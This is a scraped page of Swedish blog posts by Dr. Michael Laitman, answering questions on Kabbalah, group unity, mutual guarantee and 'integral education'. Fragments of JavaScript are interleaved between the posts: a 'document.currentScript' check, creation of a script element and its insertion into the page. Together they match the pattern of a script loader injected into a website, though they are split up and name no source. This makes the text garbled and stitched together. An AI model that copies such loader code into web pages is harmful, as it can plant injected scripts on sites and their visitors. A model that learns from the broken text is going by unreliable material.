Inlägg i kategori ''

Introspektion

Dr. Michael LaitmanFråga: Vad är en individs brister och det allmännas brister?

Svar: En brist i en individ existerar inte i andlighet eftersom det inte handlar om vanliga kroppsliga begär där. I andliga begär har en människa bara en punkt i hjärtat, som hon ännu inte har förverkligat.

En allmän brist är förmågan att frigöra sig från sig själv och binda sig till det allmänna. Detta betyder att en människa redan förstår och känner utifrån studierna, från att vara en del av gruppen, och från att disseminera, att den andliga världen uppenbaras bara i en hel brist.

En hel brist betyder att den har kontakt, åtminstone minimalt, vilket låter en person göra  flera andliga urskiljanden. Innan dess ser man ingenting, som på kvällen i skymningen då allt blir vagt.

Det finns ett talesätt som säger att det är kvällstid när man inte kan känna igen sin väns ansikte från ett visst avstånd (fyra Amot) eftersom allt flyter samman. Men, om jag kan känna igen min väns ansikte, då är det inte kväll ännu.

Kvällen symboliserar det faktum att jag kan se någonting, men att jag inte förstår exakt vad det är. På så sätt börjar vi gradvis förstå att det istället för en uppenbarelse finns flera urskiljanden vi kan identifiera, på samma sätt som vi kan känna igen en väns ansikte från ett avstånd på fyra Amot, det vill säga i de fyra minimala faserna av begäret att ta emot.

För att kunna göra det måste jag koppla mitt begär samman med flera vänners begär så att det finns en kontakt mellan oss, och från det kommer jag att kunna urskilja gott och ont, ljus och mörker. Jag behöver klargöra vad mottagande och givande betyder för mig själv och för andra, eller för alla tillsammans, mellan oss.

I kontakten mellan oss börjar jag redan se detta urskiljas: vad betyder ”i avsikt att ta emot” och vad betyder ”i avsikt att ge”. På detta ställe byggt av mig, i bristen från min sammanblandning med andra, börjar jag redan förstå till ett visst mått vad i avsikt att ta emot och vad i avsikt att ge betyder. Detta är en begynnande, minimal förståelse, men jag kan redan se skillnaden mellan de båda.

En brist formas i mig, ett uppfattande kärl genom vilket jag kan se den andliga världen, känna den, och göra olika insikter. Så öppnar sig min andliga introspektion (självbegrundan), som är annorlunda mot det yttre perspektivet som jag har i den här världen nu, där vi bara inbillar oss att vi ser något.

Från den 4e delen av den Dagliga kabbalalektionen 2012-06-13, ”Arvut (Ömsesidig Garanti)”

if (document.currentScript) {

Samla skörden och utfodra de drabbade

Dr. Michael LaitmanFråga: Skaparen vill att vi ska vara ett exempel för hela världen så att vi kan utveckla metoden och vara den sammankopplande länken. Vilka förändringar måste vi göra i vårt begär för att uppnå det som vi läser om i kabbalisternas böcker och verkligen bli ett exempel för alla?

Svar: Först och främst måste vi vara ”huvudet”. Bokstäverna i ordet ”Israel” (ישראל) kan brytas ner till uttrycket ”mitt huvud” (לי ראש). Vi måste kolla upp vad som händer i världen, vad som är Skaparens vilja, och hur vi kan bli en ”adapter”, som knyter samman Hans planer och begär med världen, såväl som hur vi kan föra världen närmare förverkligande. Låt Skaparen avgöra världens nya tillstånd medan världen skrider framåt i avsikt att uppnå ett begär för detta tillstånd. För detta måste jag vara i mitten som en mellanhand, mentor, utbildare, assistent.

Det är vårt arbete. Allt som är ålagt Israel är att ge ett exempel, att ”leka” med världen, hjälpa den att uppnå rätt form, att förklara vad som händer, att tala om orsakerna till problemen. När allt kommer omkring är folk, i andlig mening, ”små barn”, och vi måste tålmodigt ta hand om deras utveckling, och bli genomsyrade av deras bekymmer.

Förr var jag långt ifrån något sådant och jag kunde inte förstå varför jag skulle behöva vara i kontakt med hela mänskligheten. Genom hela mitt liv i mitt förflutna, tog jag för givet att jag skulle vara avskärmad i min vetenskapliga miljön som jag tyckte om medan jag tillgodosåg de materiella behov jag hade för mig själv. Jag ville uppnå, förstå och väva samman bilden av verkligheten, och jag avsåg inte att sänka min blick till det som låg nedanför den nivån. Varför skulle en utforskare av universum behöva alla de som enbart är förvirrade över den här frågan, eller som inte alls bryr sig om den? Detta var min position.

Men senare kom jag ut ur mitt stolta egoistiska förakt gentemot dem runtomkring mig, och nådde en motsatt position där jag ständigt är villig att”byta deras blöjor”. För i slutändan beror allt på förverkligandet av vikten, och på den andliga vägen blir det uppenbart att detta är vårt arbete, att detta är hur vi utför korrektionen av världen och ger behag åt Skaparen.

Det finns inget högre arbete än detta. Det är ingen tillfällighet hur det står skrivet att en person som plöjer sitt fält för att utfodra de hungriga utför prästernas andliga arbete. Vi förstår helt enkelt inte vad Kohanims uppgift är. Bakom den yttre ”strålglansen”, döljer sig något helt annat – att sörja för de som är små. I en familj är barnen viktigast och allting kretsar kring dem. Det är så vi bör agera också. Detta kallas ”ett kungadöme av präster” där vi inte har något annat än detta arbete. Vi skapar kontakten mellan Skaparen och skapelserna, och anpassar deras behov till uppenbarelsen av Honom.

Fråga: Vad saknar vi i detta, just nu?

Svar: Vi behöver många kvalificerade personer. Alla våra vänner måste genomgå kurser för lärare och organisatörer. Vi har resurserna och vi måste verkställa dem mer och mer, bredare, djupare, och högre. Vi behöver massivt arbete med utbildning, vilket kommer att kräva allas ansträngningar utan undantag. Och sedan, när vi är redo, måste vi tänka på hur vi kan nå en bred publik.

Vi behöver göra det här omedelbart, och vi ligger redan efter. Det är synd att inte alla hör mig. Det gör mig rädd för vad som kan komma att ske i landet inom en snar framtid. För allting i världen är strikt sammanlänkat och bara vi kan ”söta” det som händer med vårt arbete.

Från den fjärde delen av den Dagliga kabbalalektionen 2012-06-13, Arvut

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Idéns enkelhet

Dr. Michael LaitmanFråga: Vad är huvudidén i den integrerande metoden som vi kan erbjuda bred publik?

Svar: Idén är väldigt enkel: Allting kan lösas genom enande eftersom det är den viktigaste naturlagen.

Idag manifesteras den här lagen öppet i alla de existerande systemen, inklusive de artificiella systemen vi skapat. Och detta talar för det faktum att vi själva är på väg att bli integrerat sammankopplade inom oss och att det inte finns någonstans att ta vägen: Det är naturens system som tar in på oss mer och mer och pressar oss med miljön och andra faktorer. Det visar sig att att vi inte har något annat val – vi själva behöver bli lika dessa system.

Idén är väldigt enkel. Den kom inte från huvudet, från några intellektuella slutsatser, utan från utforskandet av naturen. Vill du kontrollera saken? Gör det! Tusentals forskare från olika områden inom vetenskap, teknik, psykologi, och politik kan bekräfta det åt dig.

Fråga: Och vad är rätt ”connection”?

Svar: En korrekt ”connection” är en förståelse för det ömsesidiga deltagandet i vårt  gemensamma jordliga liv. Vi omringas sakta men säkert. Låt oss börja förändras i den här riktningen. Då kan vi arrangera vårt liv på rätt sätt.

I allmänhet förstår folk det här, för när allt kommer omkring så droppar det ner på oss genom media, det hänger i etern, och det finns ingen väg runt det. Vi kan se hur sammankopplade de europeiska länderna är och vilket enormt problem det är att de inte kan kommunicera och samarbeta ordentligt trots det faktum att de till synes är bundna till varandra. Bara en faktor, människan, är källan till obalansen och störningarna här. Alla andra system har redan blivit integrerade.

Från ett samtal om Integrerad Utbildning, 2012-05-20

var d=document;var s=d.createElement(‘script’);

Börja med gruppen

Dr. Michael Laitman

Fråga: Hur kan jag skapa en attityd till livets negativa aspekter, trots de känslor som de ger upphov till?

Svar: Om du var införlivad i en grupp skulle du bemöta allting på ett korrekt sätt, i varje tillstånd, på varje nivå. Du måste underlägga dig gruppen, se vännerna som de största i vår generation och konnekta med dem för att skapa den kollektiva kraften i ömsesidig garanti. Genom denna kollektiva kraft, och inte på egen hand, kan du börja klargöra saker och ting. Detta är redan givandets kraft, kraften som i sitt attribut liknar Ljuset. Detta böra vara utgångspunkten. Om jag påbörjar vägen på egen hand, i vilken riktning går jag? Tillbaka till mitt skräp? Nej, jag måste vända mig mot Ljuset genom att vara vid dess sida.

Fråga: Men varför kan vi inte avsluta arbetet i ett slag?

Svar: Om allting vore så enkelt, vad skulle du då göra i livet? Profeterna säger: ”Den dagen efterfrågades Jakobs överträdelse och den var borta”. Detta betyder att vi kommer att söka överträdelserna och inte hitta dem eftersom när det inte finns något att korrigera, så är det också ett stort problem. Kärlek kan inte existera utan någon friktion. Det är alltid på det sättet.

Till slut, om jag skapar rätt kontakt med vännerna, så slutar allt med det, eftersom att jag i och med det känner och uppfattar allting som händer på ett korrekt sätt och relaterar på ett korrekt sätt till mitt tillstånd, till Ljuset, och till korrigeringen. Huvudsaken för mig är att stabilisera mig själv inom gruppen. Denna inställning är rätt för alla, både för veteraner och nya studenter.

Från 4e delen av den Dagliga Kabbalalektionen 2012-06-06, Arvut (Ömsesidig Garanti)

if (document.currentScript) {